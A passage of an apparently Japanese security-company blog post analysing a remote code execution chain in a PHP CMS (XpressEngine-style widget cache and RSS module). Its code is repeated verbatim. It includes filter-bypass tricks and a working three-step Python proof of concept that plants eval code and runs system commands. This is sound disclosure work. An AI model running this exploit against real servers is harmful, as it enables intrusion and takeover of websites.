    if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;

$flags = ENT_QUOTES | ENT_SUBSTITUTE;
    return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}
function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
    if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;

$flags = ENT_QUOTES | ENT_SUBSTITUTE;
    return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}
function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
    if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;

$flags = ENT_QUOTES | ENT_SUBSTITUTE;
    return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}

escape 関数は config/func.inc.php ソースファイルに実装されており、PHPの htmlspecialchars 関数によって危険なデータ入力を防ぎます。

結局のところ、 escape 関数によってダブルクォーテーション文字列が HTMLエンティティ 値に置換されてしまうため、ウィジェットキャッシュの元のコードをダブルクォーテーションで閉じてPHPコードを追加するという方法での攻撃は不可能です。しかし、PHPが提供する Complex (curly) syntax (複雑な構文) を用いることで、 escape 関数のフィルタをバイパス(回避)することができます。

...
function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;
return "";
}
...
function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
...
...
function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;
return "";
}
...
function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
...
...
function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;
return "";
}
...
function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
...

フィルタのバイパス以外にも、もう一つの問題が存在します。 widgetModel クラスの getWidgetInfo メソッドは、ウィジェットキャッシュの生成コードを実行する前に、PHPの is_dirfile_exists 関数を呼び出し、ウィジェットモジュールが実際に存在するかどうかを検証します。

そのため、脆弱なコードを実行するためには、任意のパスに ${MALICIOUS_CODE} という名前のディレクトリを作成できる追加の脆弱性が必要になります。

# linux
root@ubuntu:~# cd none_exists/../../../
-bash: cd: none_exists/../../../: No such file or directory
# windows
C:\Users\Administrator>cd none_exists/../../../
C:

# linux
root@ubuntu:~# cd none_exists/../../../
-bash: cd: none_exists/../../../: No such file or directory
# windows
C:\Users\Administrator>cd none_exists/../../../
C:

# linux
root@ubuntu:~# cd none_exists/../../../
-bash: cd: none_exists/../../../: No such file or directory
# windows
C:\Users\Administrator>cd none_exists/../../../
C:

ただし、Windows環境の場合は、存在しないディレクトリに対して Directory Traversal (ディレクトリトラバーサル) が可能であるため、追加の脆弱性なしに攻撃が可能です。

2–2. 任意ディレクトリの作成

脆弱性が存在するRSSモジュールの rssController クラスは、modules/rss/rss.controller.php ソースファイルに実装されています。

function triggerRssUrlInsert()
{
    $oModuleModel = getModel('module');
    $total_config = $oModuleModel->getModuleConfig('rss');
    $current_module_srl = Context::get('module_srl');
    $site_module_info = Context::get('site_module_info');

if(is_array($current_module_srl))
    {
        unset($current_module_srl);
    }
    if(!$current_module_srl) {
        $current_module_info = Context::get('current_module_info');
        $current_module_srl = $current_module_info->module_srl;
    }
    if(!$current_module_srl) return new BaseObject();
    // Imported rss settings of the selected module
    $oRssModel = getModel('rss');
    $rss_config = $oRssModel->getRssModuleConfig($current_module_srl);
    if($rss_config->open_rss != 'N')
    {
        Context::set('rss_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'rss'));
        Context::set('atom_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'atom'));
    }
    if(Context::isInstalled() && $site_module_info->mid == Context::get('mid') && $total_config->use_total_feed != 'N')
    {
        if(Context::isAllowRewrite() && !Context::get('vid'))
        {
            $request_uri = Context::getRequestUri();
            Context::set('general_rss_url', $request_uri.'rss');
            Context::set('general_atom_url', $request_uri.'atom');
        }
        else
        {
            Context::set('general_rss_url', getUrl('','module','rss','act','rss'));
            Context::set('general_atom_url', getUrl('','module','rss','act','atom'));
        }
    }
    return new BaseObject();
}
function triggerRssUrlInsert()
{
    $oModuleModel = getModel('module');
    $total_config = $oModuleModel->getModuleConfig('rss');
    $current_module_srl = Context::get('module_srl');
    $site_module_info = Context::get('site_module_info');

if(is_array($current_module_srl))
    {
        unset($current_module_srl);
    }
    if(!$current_module_srl) {
        $current_module_info = Context::get('current_module_info');
        $current_module_srl = $current_module_info->module_srl;
    }
    if(!$current_module_srl) return new BaseObject();
    // Imported rss settings of the selected module
    $oRssModel = getModel('rss');
    $rss_config = $oRssModel->getRssModuleConfig($current_module_srl);
    if($rss_config->open_rss != 'N')
    {
        Context::set('rss_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'rss'));
        Context::set('atom_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'atom'));
    }
    if(Context::isInstalled() && $site_module_info->mid == Context::get('mid') && $total_config->use_total_feed != 'N')
    {
        if(Context::isAllowRewrite() && !Context::get('vid'))
        {
            $request_uri = Context::getRequestUri();
            Context::set('general_rss_url', $request_uri.'rss');
            Context::set('general_atom_url', $request_uri.'atom');
        }
        else
        {
            Context::set('general_rss_url', getUrl('','module','rss','act','rss'));
            Context::set('general_atom_url', getUrl('','module','rss','act','atom'));
        }
    }
    return new BaseObject();
}
function triggerRssUrlInsert()
{
    $oModuleModel = getModel('module');
    $total_config = $oModuleModel->getModuleConfig('rss');
    $current_module_srl = Context::get('module_srl');
    $site_module_info = Context::get('site_module_info');

if(is_array($current_module_srl))
    {
        unset($current_module_srl);
    }
    if(!$current_module_srl) {
        $current_module_info = Context::get('current_module_info');
        $current_module_srl = $current_module_info->module_srl;
    }
    if(!$current_module_srl) return new BaseObject();
    // Imported rss settings of the selected module
    $oRssModel = getModel('rss');
    $rss_config = $oRssModel->getRssModuleConfig($current_module_srl);
    if($rss_config->open_rss != 'N')
    {
        Context::set('rss_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'rss'));
        Context::set('atom_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'atom'));
    }
    if(Context::isInstalled() && $site_module_info->mid == Context::get('mid') && $total_config->use_total_feed != 'N')
    {
        if(Context::isAllowRewrite() && !Context::get('vid'))
        {
            $request_uri = Context::getRequestUri();
            Context::set('general_rss_url', $request_uri.'rss');
            Context::set('general_atom_url', $request_uri.'atom');
        }
        else
        {
            Context::set('general_rss_url', getUrl('','module','rss','act','rss'));
            Context::set('general_atom_url', getUrl('','module','rss','act','atom'));
        }
    }
    return new BaseObject();
}

RSSの設定情報を保持する $rss_config 変数は、43行目のコードでRSSモデルインスタンスの getRssModuleConfig メソッドを呼び出すことによって初期化されます。このとき、引数として使用される $current_module_srl 変数はパラメータ module_srl の値です。

function writeFile($filename, $buff, $mode = "w")
{
    $filename = self::getRealPath($filename);
    $pathinfo = pathinfo($filename);
    self::makeDir($pathinfo['dirname']);
...
function writeFile($filename, $buff, $mode = "w")
{
    $filename = self::getRealPath($filename);
    $pathinfo = pathinfo($filename);
    self::makeDir($pathinfo['dirname']);
...
function writeFile($filename, $buff, $mode = "w")
{
    $filename = self::getRealPath($filename);
    $pathinfo = pathinfo($filename);
    self::makeDir($pathinfo['dirname']);
...
function makeDir($path_string)
{
    if(self::exists($path_string) !== FALSE)
    {
        return TRUE;
    }

if(!ini_get('safe_mode'))
    {
        @mkdir($path_string, 0755, TRUE);
        @chmod($path_string, 0755);
    }
...
function makeDir($path_string)
{
    if(self::exists($path_string) !== FALSE)
    {
        return TRUE;
    }

if(!ini_get('safe_mode'))
    {
        @mkdir($path_string, 0755, TRUE);
        @chmod($path_string, 0755);
    }
...
function makeDir($path_string)
{
    if(self::exists($path_string) !== FALSE)
    {
        return TRUE;
    }

if(!ini_get('safe_mode'))
    {
        @mkdir($path_string, 0755, TRUE);
        @chmod($path_string, 0755);
    }
...

その後のコード実行の流れの中で、外部からの入力データがPHPのディレクトリ作成関数である mkdir にまで到達することになります。

function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
    if(!($isArray = is_array($val)))
    {
        $val = array($val);
    }

$result = array();
    foreach($val as $k => $v)
    {
        $k = escape($k);
        if($remove_hack && !is_array($v)) {
            if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
            {
                $result[$k] = escape($v);
                continue;
            }
        }
        if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
        {
            $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
        }
...
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
    if(!($isArray = is_array($val)))
    {
        $val = array($val);
    }

$result = array();
    foreach($val as $k => $v)
    {
        $k = escape($k);
        if($remove_hack && !is_array($v)) {
            if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
            {
                $result[$k] = escape($v);
                continue;
            }
        }
        if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
        {
            $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
        }
...
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
    if(!($isArray = is_array($val)))
    {
        $val = array($val);
    }

$result = array();
    foreach($val as $k => $v)
    {
        $k = escape($k);
        if($remove_hack && !is_array($v)) {
            if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
            {
                $result[$k] = escape($v);
                continue;
            }
        }
        if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
        {
            $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
        }
...

HTTPリクエストに伴う外部入力値をフィルタリングする `Context->_filterRequestVar` メソッドでは、パラメータのキー名が srl で終わる場合、データを強制的に int 型に変換します。このため、 mkdir 関数に任意の文字列を渡すことができません。文字列が入力された場合、整数の 0 に置換されてしまいます。(1423行目

しかし、強制型変換が実行される前に処理される 1414行目 のコードを利用して、 foreach ループを脱出(エスケープ)できる論理的な脆弱性が存在します。

module_srl の値を Arbitrary_Directory_Path/<script のように構成すると、1417行目continue コードが実行され、強制型変換のコード実行を回避して、意図した任意のディレクトリを作成することができます。

2–3. 脆弱性攻撃 PoC (概念実証)

from requests import get
cmd = 'id'
target = 'http://127.0.0.1/'

# step 1 : make directory
# /var/www/html/files/cache/${eval($_GET[0])}
get('{}?mid=board&module_srl=/../../../../../../${{eval($_GET[0])}}/%3Cscript'.format(target))
# step 2 : write cache
# /var/www/html/files/cache/widgets/content.ko.cache.php
get('{}?act=dispWidgetInfo&selected_widget=../files/cache/${{eval($_GET[0])}}/../../../widgets/content'.format(target))
# step 3 : remote code execute
print get('{}?act=dispWidgetInfo&selected_widget=../widgets/content&0=system($_GET[1]);&1={}'.format(target, cmd)).text.split('<!DOCTYPE html>')[0]
from requests import get
cmd = 'id'
target = 'http://127.0.0.1/'

# step 1 : make directory
# /var/www/html/files/cache/${eval($_GET[0])}
get('{}?mid=board&module_srl=/../../../../../../${{eval($_GET[0])}}/%3Cscript'.format(target))
# step 2 : write cache
# /var/www/html/files/cache/widgets/content.ko.cache.php
get('{}?act=dispWidgetInfo&selected_widget=../files/cache/${{eval($_GET[0])}}/../../../widgets/content'.format(target))
# step 3 : remote code execute
print get('{}?act=dispWidgetInfo&selected_widget=../widgets/content&0=system($_GET[1]);&1={}'.format(target, cmd)).text.split('<!DOCTYPE html>')[0]
from requests import get
cmd = 'id'
target = 'http://127.0.0.1/'

# step 1 : make directory
# /var/www/html/files/cache/${eval($_GET[0])}
get('{}?mid=board&module_srl=/../../../../../../${{eval($_GET[0])}}/%3Cscript'.format(target))
# step 2 : write cache
# /var/www/html/files/cache/widgets/content.ko.cache.php
get('{}?act=dispWidgetInfo&selected_widget=../files/cache/${{eval($_GET[0])}}/../../../widgets/content'.format(target))
# step 3 : remote code execute
print get('{}?act=dispWidgetInfo&selected_widget=../widgets/content&0=system($_GET[1]);&1={}'.format(target, cmd)).text.split('<!DOCTYPE html>')[0]


3. フィルタリング回避

2つ目の脆弱性は、外部入力をフィルタリングする escape 関数にあります。この関数は、config/func.inc.php ソースファイルで見つけることができます。

function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
    if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;

$flags = ENT_QUOTES | ENT_SUBSTITUTE;
    return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}
function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
    if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;

$flags = ENT_QUOTES | ENT_SUBSTITUTE;
    return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}
function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
    if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;

$flags = ENT_QUOTES | ENT_SUBSTITUTE;
    return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}
function isDefinedLangCode($str)
{
    return preg_match('!\$user_lang->([a-z0-9\_]+)$!is', trim($str));
}
function isDefinedLangCode($str)
{
    return preg_match('!\$user_lang->([a-z0-9\_]+)$!is', trim($str));
}
function isDefinedLangCode($str)
{
    return preg_match('!\$user_lang->([a-z0-9\_]+)$!is', trim($str));
}

escape 関数は、isDefinedLangCode 関数にフィルタ対象の文字列を渡し、条件が一致する場合は htmlspecialchars 関数を呼び出さずに文字列をそのまま返します。

このとき、フィルタ用の正規表現が誤っているため、パラメータの末尾に $user_lang->0 文字列を追加することで、フィルタをバイパスすることができます。

エンキホワイトハット

エンキホワイトハット

ENKI ホワイトハット
ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.